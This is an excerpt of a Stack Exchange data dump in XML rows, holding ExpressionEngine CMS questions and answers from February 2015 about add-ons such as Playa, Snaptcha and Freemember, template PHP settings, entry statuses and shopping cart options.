  <row Id="30050" PostTypeId="2" ParentId="29048" CreationDate="2015-02-17T14:55:24.663" Score="0" Body="&lt;p&gt;There are several plugins with which you can determine a string length.&#xA;Here is one: &lt;a href=&quot;https://devot-ee.com/add-ons/stringlength&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/stringlength&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2015-02-17T14:55:24.663" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30051" PostTypeId="2" ParentId="30048" CreationDate="2015-02-17T15:15:11.177" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://brandnewbox.co.uk/products/details/datagrab&quot; rel=&quot;nofollow&quot;&gt;DataGrab&lt;/a&gt; and &lt;a href=&quot;http://www.solspace.com/software/detail/importer/&quot; rel=&quot;nofollow&quot;&gt;Solspace Importer&lt;/a&gt; add-ons can both import various types of data into EE, such as CSV, XML, etc that can be exported from FileMaker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would look at both of these add-ons and work out which one is best suited to your needs based on the complexity of your source data.&lt;/p&gt;&#xA;" OwnerUserId="1978" LastActivityDate="2015-02-17T15:15:11.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30052" PostTypeId="2" ParentId="12223" CreationDate="2015-02-17T15:21:26.647" Score="0" Body="&lt;p&gt;I found the solution to Store not updating quantities etc when the accept_terms is unchecked. You need to remove the accept_terms:0 from the form post. To do this add the id dont_accept_terms to the hidden field that is before the aceept_terms checkbox:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;accept_terms&quot; value=&quot;0&quot; id=&quot;dont_accept_terms&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then add some jquery to remove the hidden field when update is clicked:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;input type=&quot;submit&quot; name=&quot;update_cart&quot; value=&quot;Update&quot; onclick=&quot;$('#dont_accept_terms').remove();&quot; /&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="961" LastActivityDate="2015-02-17T15:21:26.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30053" PostTypeId="2" ParentId="28941" CreationDate="2015-02-17T15:46:43.387" Score="0" Body="&lt;p&gt;Didn't have {error:payment_method} on the page &amp;amp; it was trying to tell me something is up.&lt;/p&gt;&#xA;" OwnerUserId="1861" LastActivityDate="2015-02-17T15:46:43.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30054" PostTypeId="2" ParentId="29048" CreationDate="2015-02-17T17:22:48.150" Score="0" Body="&lt;p&gt;You can do this with &lt;a href=&quot;https://devot-ee.com/add-ons/phpstringfun&quot; rel=&quot;nofollow&quot;&gt;PHPStringFun&lt;/a&gt; like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {exp:phpstringfun function=&quot;strlen&quot;}{title}{/exp:phpstringfun} &amp;gt;= &quot;10&quot;}&#xA;    &amp;lt;div class=&quot;wide&quot;&amp;gt;{title}&amp;lt;/div&amp;gt;&#xA;{if:else}&#xA;    &amp;lt;div&amp;gt;{title}&amp;lt;/div&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you aren't getting the results you expect check what value is being returned by the plugin by just outputting it in your template like &lt;code&gt;{exp:phpstringfun function=&quot;strlen&quot;}{title}{/exp:phpstringfun}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/ce-string&quot; rel=&quot;nofollow&quot;&gt;CE String&lt;/a&gt; is an excellent plugin as well which you could use instead of PHPStringFun. Worth taking a look at. With CE String you'd do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {exp:ce_str:ing strlen}{title}{/exp:ce_str:ing} &amp;gt;= &quot;10&quot;}&#xA;    {title}&#xA;{if:else}&#xA;    {title}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2015-02-17T17:29:04.083" LastActivityDate="2015-02-17T17:29:04.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30056" PostTypeId="1" CreationDate="2015-02-17T21:21:14.137" Score="0" ViewCount="28" Body="&lt;p&gt;I am adding a blog, but I have to attend a meeting. How do I save the blog without actually publishing it to my website. I click on submit and it automatically is published. Thx&lt;/p&gt;&#xA;" OwnerUserId="6054" LastActivityDate="2015-02-18T08:38:02.893" Title="How do I save an unfinished blog?" Tags="|safecracker|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30057" PostTypeId="1" CreationDate="2015-02-17T21:42:06.187" Score="0" ViewCount="112" Body="&lt;p&gt;We have a working form using Solspace Freeform Pro 4.x. Our page lets non-members of the EE site fill in a form and attach 3 items in 3 separate fields:&#xA;Company logo&#xA;Game under development logo&#xA;Screen shot of their game&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, once the form is submitted, when we login and review the pending submissions, only the first form upload field show an attachment. The other two upload fields have no attachments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We know this is wrong as the email that arrives has all three attachments, and the directory where the logo's are stored, all three items are there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Presuming this is a bug, but in case at is something we might have overlooked, how might I fix this issue?&lt;/p&gt;&#xA;" OwnerUserId="588" LastActivityDate="2015-02-17T21:42:06.187" Title="Solspace Freeform Pro: custom name for file upload?" Tags="|solspace-freeform|solspace|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30059" PostTypeId="2" ParentId="30056" CreationDate="2015-02-17T23:22:35.430" Score="1" Body="&lt;p&gt;Change the status to &quot;closed&quot;.&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2015-02-17T23:22:35.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30060" PostTypeId="1" AcceptedAnswerId="30061" CreationDate="2015-02-17T23:51:59.527" Score="0" ViewCount="37" Body="&lt;p&gt;I am using Forms 3.4.13 and Snaptcha 1.7.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just created a single contact form in Forms, and enabled Snaptcha. When outputting my form, I am noticing the the word &quot;Array&quot; is getting added to my form. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's showing up right after the &lt;code&gt;&amp;lt;div class=&quot;hiddenfields&quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;/code&gt; and right before the &lt;code&gt;&amp;lt;div class=&quot;snap&quot; ...&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I disable Snaptcha in my form, it goes away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I prepended and appended some test text to the $field value in line 91 of &lt;code&gt;ext.snaptcha.php&lt;/code&gt; to see if the &quot;Array&quot; text was part of that, but it wasn't, it came before that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&#xA;I dug deeper and found where the word &quot;Array&quot; is getting added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On line 730 of &lt;code&gt;mod.forms.php&lt;/code&gt;&#xA;&lt;code&gt;&#xA;$OUT_FORM_PREPEND .= $SNAP-&amp;gt;comment_field($OUT_FORM_PREPEND);&#xA;&lt;/code&gt;&#xA;it calls &lt;code&gt;comment_field()&lt;/code&gt;. I'm not totally sure why. But in &lt;code&gt;comment_field()&lt;/code&gt; in &lt;code&gt;ext.snaptcha.php&lt;/code&gt;, the &lt;code&gt;$tagdata&lt;/code&gt; variable is what has the text 'Array'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added the following to line 203 of &lt;code&gt;ext.snaptcha.php&lt;/code&gt; to convert the string 'Array' to an actual array to see what was in it:&#xA;&lt;code&gt;&#xA;$tagdata = &quot;&amp;lt;pre&amp;gt;&quot;.print_r($tagdata,true).&quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;&lt;/code&gt;&#xA;and it appears to contain 3 values. One is the contents of my {page_body} field in my previous, closed channel entries loop. The other two are empty...&lt;/p&gt;&#xA;" OwnerUserId="1527" LastEditorUserId="1527" LastEditDate="2015-02-18T00:12:48.537" LastActivityDate="2015-02-18T14:37:37.167" Title="DevDemon Forms or Snaptcha outputting &quot;Array&quot; right before snaptcha field" Tags="|devdemon-forms|snaptcha|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30061" PostTypeId="2" ParentId="30060" CreationDate="2015-02-18T00:19:52.997" Score="0" Body="&lt;p&gt;Ok, this seems to be a bug in DevDemon's Forms addon. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On line 730 of &lt;code&gt;mod.forms.php&lt;/code&gt; it has:&#xA;&lt;code&gt;&#xA;$OUT_FORM_PREPEND .= $SNAP-&amp;gt;comment_field($OUT_FORM_PREPEND);&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changing this to &#xA;&lt;code&gt;&#xA;$OUT_FORM_PREPEND .= $SNAP-&amp;gt;snaptcha_field($OUT_FORM_PREPEND);&#xA;&lt;/code&gt;&#xA;fixes this issue.&lt;/p&gt;&#xA;" OwnerUserId="1527" LastEditorUserId="1527" LastEditDate="2015-02-18T14:37:37.167" LastActivityDate="2015-02-18T14:37:37.167" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30062" PostTypeId="1" AcceptedAnswerId="30082" CreationDate="2015-02-18T02:19:11.137" Score="0" ViewCount="354" Body="&lt;p&gt;I'm currently assigned to create custom page in ExpressionEngine (because that's the old code). I'm not getting used to ExpressionEngine and CodeIgniter either. I do inspecting the structure of current code then I decide to put my script to the template so I just choose the template when I create new page in ExpressionEngine admin page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is: How to put my custom PHP script to that template because I could not find one PHP script in other template before? or If my way is wrong, How to create custom PHP page in ExpressionEngine?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYI: custom script is want to connect to other server DB and google map API.&lt;/p&gt;&#xA;" OwnerUserId="6055" LastActivityDate="2015-02-18T18:27:22.007" Title="How to create custom PHP/Mysql page in ExpressionEngine?" Tags="|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30063" PostTypeId="1" AcceptedAnswerId="30065" CreationDate="2015-02-18T03:04:13.100" Score="1" ViewCount="52" Body="&lt;p&gt;I'm using a Channel Form to enable members to create/edit entries. One of the requirements is to select Relationships between entries. I have a channel containing over 20,000 government agencies and I want to related a few of these agencies (entries) to the entry being edited. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With 20,000+ entries, the standard EE relationship field is unmanageable when it has to be populated with this many entries. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can Playa be configured to show no entries in the relationship until a member submits a search? &lt;/p&gt;&#xA;" OwnerUserId="4992" LastActivityDate="2015-02-18T14:38:48.187" Title="Playa with large number of entries +20,000" Tags="|playa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30064" PostTypeId="2" ParentId="29041" CreationDate="2015-02-18T04:30:38.640" Score="0" Body="&lt;p&gt;I would try to not use the native parsing of Postmaster and use the Zoo Visitor tags. This should work for you. There are no known issues with parsing zoo visitor tags and Postmaster.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:zoo_visitor:details member_entry_id=&quot;{parcel:entry_id}&quot;}&#xA;&#xA;    // your template here and parse the variables without the &quot;parcel:&quot; prefix&#xA;    // just like a normal EE template&#xA;&#xA;{/exp:zoo_visitor:details}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And as to whether you use the parcel or the hook really just depends on how you are using Zoo Visitor. Parcels work fine in most cases, but there are instances where the parcel isn't triggered properly, which is why the hooks exist. You guys will just have to decide which works best for your implementation.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2015-02-18T04:30:38.640" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30065" PostTypeId="2" ParentId="30063" CreationDate="2015-02-18T04:40:08.473" Score="2" Body="&lt;p&gt;Yes. Playa has a useful setting to limit the number of entries that are loaded initially. This helps performance. The user can then search to find additional entries to choose from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gbtte.png&quot; alt=&quot;Playa limit entries setting&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2015-02-18T14:38:48.187" LastActivityDate="2015-02-18T14:38:48.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30066" PostTypeId="1" CreationDate="2015-02-18T06:18:00.437" Score="0" ViewCount="358" Body="&lt;p&gt;After update to 2.9.2 I have &quot;The page you requested was not found&quot; for all member pages(registration, profile and so on).&#xA;Can't understand what's wrong. I've checked .htaccess rules - ok, templates for member pages also exists. So how to fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best regards, Aleksey.&lt;/p&gt;&#xA;" OwnerUserId="2362" LastActivityDate="2015-02-18T06:18:00.437" Title="&quot;The page you requested was not found&quot; for member templates" Tags="|templates|upgrade|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30068" PostTypeId="2" ParentId="30056" CreationDate="2015-02-18T08:38:02.893" Score="1" Body="&lt;p&gt;As you've tagged the question with &lt;code&gt;safecracker&lt;/code&gt; I'm assuming that you are creating your blog entry through a safecracker form on the front end of the site rather than using the control panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is the case, you will need to expose the &lt;code&gt;status&lt;/code&gt; of the entry in the &lt;code&gt;safecracker&lt;/code&gt; form template (or &lt;code&gt;channel form&lt;/code&gt; from EE 2.7 onwards). Details of how to do can be found in the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/index.html#status&quot; rel=&quot;nofollow&quot;&gt;channel form docs&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have access to the control panel, then, as Jim says above, you need to set the status of the entry to closed. The Status can be found in the Options tab on the Publish page.&lt;/p&gt;&#xA;" OwnerUserId="1978" LastActivityDate="2015-02-18T08:38:02.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30069" PostTypeId="1" CreationDate="2015-02-18T11:18:39.400" Score="1" ViewCount="60" Body="&lt;p&gt;I have a client who would like to mark new entries as Sticky, but have the Stickiness only last for 90 days, to give new entries a push and get them promoted initially.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They could un-sticky the entry after 90 days manually, but they have thousands of entries which will make this hard to maintain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the same way that you can set an Expiry Date, is it possible to set a Sticky Expiry Date, or can you think of any clean way to make this work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="742" LastActivityDate="2015-03-20T13:21:41.063" Title="Is it possible to have &quot;Stickiness&quot; expire after a certain time limit, or is there any workaround for this?" Tags="|channel-entries|channel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30070" PostTypeId="1" CreationDate="2015-02-18T11:22:04.997" Score="0" ViewCount="562" Body="&lt;p&gt;Now that SL MailChimp Subscribe is no longer in development*, is there an alternative that I can use to sign-up members to a MailChimp list?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*The extension throws a Javascript error for EE2.9.2&lt;/p&gt;&#xA;" OwnerUserId="2024" LastActivityDate="2015-12-18T19:03:16.553" Title="MailChimp integration" Tags="|mailchimp|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30072" PostTypeId="2" ParentId="30069" CreationDate="2015-02-18T12:16:34.803" Score="2" Body="&lt;p&gt;How about just using the Expiry Date?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the featured articles section of the site, use the following tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries show_expired=&quot;no&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which will only show articles which haven't expired.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in the archive section (where all articles are shown) use this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries show_expired=&quot;yes&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which will included expired entries in the list too as well as unexpired ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could get them to set the expiration date to be 3 months after the publish date when they publish an article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could write an extension that uses the &lt;code&gt;entry_submission_start&lt;/code&gt; hook to add an expiration date based on a globally set time period.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking on Devot-ee, there appears to be an abandoned extension, &lt;a href=&quot;https://devot-ee.com/add-ons/auto-expire&quot; rel=&quot;nofollow&quot;&gt;Auto Expire&lt;/a&gt;, that does this but it would need probably updating for the latest version of EE.&lt;/p&gt;&#xA;" OwnerUserId="1978" LastActivityDate="2015-02-18T12:16:34.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30074" PostTypeId="1" CreationDate="2015-02-18T13:27:54.687" Score="2" ViewCount="132" Body="&lt;p&gt;A site I manage has thousands of entries across dozens of channels where the main textual content is stored in Wygwam fields. I'd like to convert (or perhaps duplicate and convert) those fields over to either Krea's &lt;a href=&quot;https://devot-ee.com/add-ons/content-elements&quot; rel=&quot;nofollow&quot;&gt;Content Elements&lt;/a&gt;, or Bryan Burgers' &lt;a href=&quot;https://devot-ee.com/add-ons/blocks&quot; rel=&quot;nofollow&quot;&gt;Blocks&lt;/a&gt;, while retaining existing content in a Wygwam element/block inside either of those two add-ons' fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible, and if so, how would I do it?&lt;/p&gt;&#xA;" OwnerUserId="544" LastActivityDate="2015-02-25T04:12:14.713" Title="How can I convert a text field to either Content Elements or Blocks without losing existing content?" Tags="|wygwam|content-elements|richtext|blocks|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30075" PostTypeId="1" AcceptedAnswerId="30085" CreationDate="2015-02-18T14:09:09.513" Score="0" ViewCount="28" Body="&lt;p&gt;We want to have a playa field in a front end standalone entry form (SAEF).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However we want the related entry to be automatically be selected based on the entry ID in a segment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If an entry ID is not present then we would have the usual playa field selection so that hete user could manually select a related entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="886" LastActivityDate="2015-02-18T20:07:12.840" Title="Playa field in SAEF" Tags="|playa|saef|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30076" PostTypeId="1" CreationDate="2015-02-18T14:19:37.410" Score="0" ViewCount="32" Body="&lt;p&gt;I just installed MX Title and defined both the Title and URL Title to generate these fields based upon two other channel fields {first_name} {last_name). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I'm unable to save the entry. There is a red warning icon displayed next to the Publish tab on the Entry form, but no other information about why I can't save the entry. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I edit a previously created Channel Entry and save the entry, MX Title auto re-generates the title as advertised. It just won't let me save a new entry. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is going on?&lt;/p&gt;&#xA;" OwnerUserId="4992" LastActivityDate="2015-06-02T15:12:12.567" Title="MX Title will not save new entry" Tags="|mx-title-control|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30077" PostTypeId="2" ParentId="30070" CreationDate="2015-02-18T15:32:57.010" Score="0" Body="&lt;p&gt;Have you looked into &lt;a href=&quot;https://devot-ee.com/add-ons/postmaster&quot; rel=&quot;nofollow&quot;&gt;Postmaster&lt;/a&gt;? It allows you to subscribe people to MailChimp and other platforms plus do additional things based on triggers. Not the cheapest, but definitely worth the money and easy to use.&lt;/p&gt;&#xA;" OwnerUserId="3909" LastActivityDate="2015-02-18T15:32:57.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30078" PostTypeId="1" AcceptedAnswerId="30128" CreationDate="2015-02-18T15:49:32.973" Score="0" ViewCount="45" Body="&lt;p&gt;recently all of a sudden I've just started getting the following error messages with Mega Upload. As far as I'm aware nothing has changed, but obviously something has!&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Server response was malformated, probally a PHP error&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm running the latest version of Mega Upload and EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Dan&lt;/p&gt;&#xA;" OwnerUserId="1634" LastActivityDate="2015-11-17T09:37:22.673" Title="Server response was malformated error with Mega Upload" Tags="|devdemon|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30081" PostTypeId="1" CreationDate="2015-02-18T17:43:34.840" Score="0" ViewCount="149" Body="&lt;p&gt;Cutting right to the chase: I'm needing to enable Custom CSS on a particular entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jhe2U.png&quot; alt=&quot;Current CSS Configuration&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever I load the page and inspect in Dev Tools, The style tag that Expression Engine promises to &quot;automatically generate&quot; is completely empty.  It looks like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ShjNg.png&quot; alt=&quot;Current Page Source&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do I need to do to get ExpressionEngine to push my class definitions into that darn style tag?&lt;/p&gt;&#xA;" OwnerUserId="3904" LastEditorUserId="3904" LastEditDate="2015-02-18T17:49:34.320" LastActivityDate="2016-06-10T02:38:43.897" Title="ExpressionEngine CustomCSS | Generating an empty style tag" Tags="|css|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30082" PostTypeId="2" ParentId="30062" CreationDate="2015-02-18T18:27:22.007" Score="0" Body="&lt;p&gt;Each template has it's own set of preferences. Go to your list of templates in the control panel.  For the template where you wish to enable PHP click on &quot;Edit Preferences&quot; and under &quot;Allow PHP&quot; select &quot;Yes&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then choose to have PHP parsed before or after EE tags, depending on whether you are passing data from PHP to EE or vice versa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that enabling PHP has security implications and adds a little overhead to the processing of the page. &lt;/p&gt;&#xA;" OwnerUserId="210" LastActivityDate="2015-02-18T18:27:22.007" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30083" PostTypeId="1" AcceptedAnswerId="30127" CreationDate="2015-02-18T18:46:09.570" Score="0" ViewCount="93" Body="&lt;p&gt;If I send an HTML e-mail using the communicate tool in the control panel it will be delivered but the body is always blank. I can send plain text e-mails with the communicate tool and the body is received. I'd like to get this resolved so I can send either HTML or plain text using the communicate tool. Any tips or suggestions on correcting this issue would be greatly appreciated thanks!&lt;/p&gt;&#xA;" OwnerUserId="3279" LastActivityDate="2015-10-12T04:15:50.453" Title="Why can I only send plain text e-mails with the communicate tool?" Tags="|email|html-email|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30084" PostTypeId="1" CreationDate="2015-02-18T19:26:10.467" Score="0" ViewCount="90" Body="&lt;p&gt;I've developed several sites using CartThrob, over the years, and it has been a love/hate relationship. They're great guys, and when they are on, they are super. When they're off, however, not so much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Their support has been hit or miss, and has created problems for me with clients. Their responses to requests that I think should be included – like being able to set the tax rates by multiple parameters, produce pick lists for purchased items, etc. – are often met with estimates for expensive custom development.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, they are charging $1.00/minute for support. I think it's time to move on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that there don't seem to be a lot of options out there that meet my clients' various needs. In addition to the standard shopping cart operations, we need:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Destination-based Sales Tax (for states like North Carolina)&#xA;Gift Certificates with Stored Values&#xA;Recurring Billing&#xA;Flexible Reporting (packing slips, pick sheets, taxes, etc.)&#xA;First-Time Order Charges (setup fees, etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have recommendations?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ty&lt;/p&gt;&#xA;" OwnerUserId="897" LastActivityDate="2015-12-19T13:21:15.490" Title="Shopping Cart Recommendations" Tags="|shopping-cart|recommendation-request|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30085" PostTypeId="2" ParentId="30075" CreationDate="2015-02-18T20:07:12.840" Score="1" Body="&lt;p&gt;You can do that like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_3}&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;playa_field_name[selections][]&quot; value=&quot;{segment_3}&quot;&amp;gt;&#xA;{if:else}&#xA;    {field:playa_field_name}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replace &lt;code&gt;3&lt;/code&gt; with whatever URL segment the entry ID will actually be in, and &lt;code&gt;playa_field_name&lt;/code&gt; with your actual Playa field short name.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2015-02-18T20:07:12.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30086" PostTypeId="1" CreationDate="2015-02-18T20:47:39.917" Score="0" ViewCount="41" Body="&lt;p&gt;I want to publish a channel entry that enables members to select entries that are related through a Playa relations. For example I have a channel that members will use to create a entry (let's call this a REPORT). In that entry, I'm using Playa so members to select related entries from another channel (let's call this DEPARTMENTS). This all works fined. I can create a REPORT and relate to it specific DEPARTMENTS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also have another channel (let's call this EMPLOYEES) that is also Playa related to DEPARTMENTS. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible through Playa to select specific EMPLOYEES from the DEPARTMENTS selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm trying to relate specific EMPLOYEES to my REPORT.&lt;/p&gt;&#xA;" OwnerUserId="4992" LastEditorUserId="55" LastEditDate="2015-02-20T13:01:23.877" LastActivityDate="2016-05-31T05:43:55.613" Title="Dynamically filter Playa field based on children of current selection in another Playa field" Tags="|playa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30087" PostTypeId="1" CreationDate="2015-02-18T21:25:18.537" Score="1" ViewCount="22" Body="&lt;p&gt;I have a member registration page that uses custom fields with freemember.&#xA;E.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freemember:register&#xA;            form_name=&quot;co-marketing_apply&quot;&#xA;            return=&quot;/apply/thank-you&quot;&#xA;            error_handling=&quot;inline&quot;&#xA;            error_delimiters='&amp;lt;span class=&quot;Apply-formError&quot;&amp;gt;|&amp;lt;/span&amp;gt;'&#xA;            require=&quot;email|member-address-1|member-first-name|member-last-name|member-city|member-state|member-zip|member-phone|member-company|order-volume&quot;}&#xA;&#xA;&amp;lt;input type=&quot;radio&quot; name=&quot;order-volume&quot; value=&quot;200 Pounds&quot;&amp;gt;200 Pounds&#xA;&amp;lt;input type=&quot;radio&quot; name=&quot;order-volume&quot; value=&quot;50 Pounds&quot;&amp;gt;50 pounds &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The registration works fine, but I need some help dealing with error messages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem 1: If there are ANY inline errors returned, the radio buttons are cleared out. Meaning the user has to fill out all of them again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem 2: I need custom error messages because certain radio buttons, if checked, will disqualify the user from applying.&lt;/p&gt;&#xA;" OwnerUserId="1530" LastActivityDate="2015-02-18T21:25:18.537" Title="Freemember Radio Buttons clear on inline errors" Tags="|freemember|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
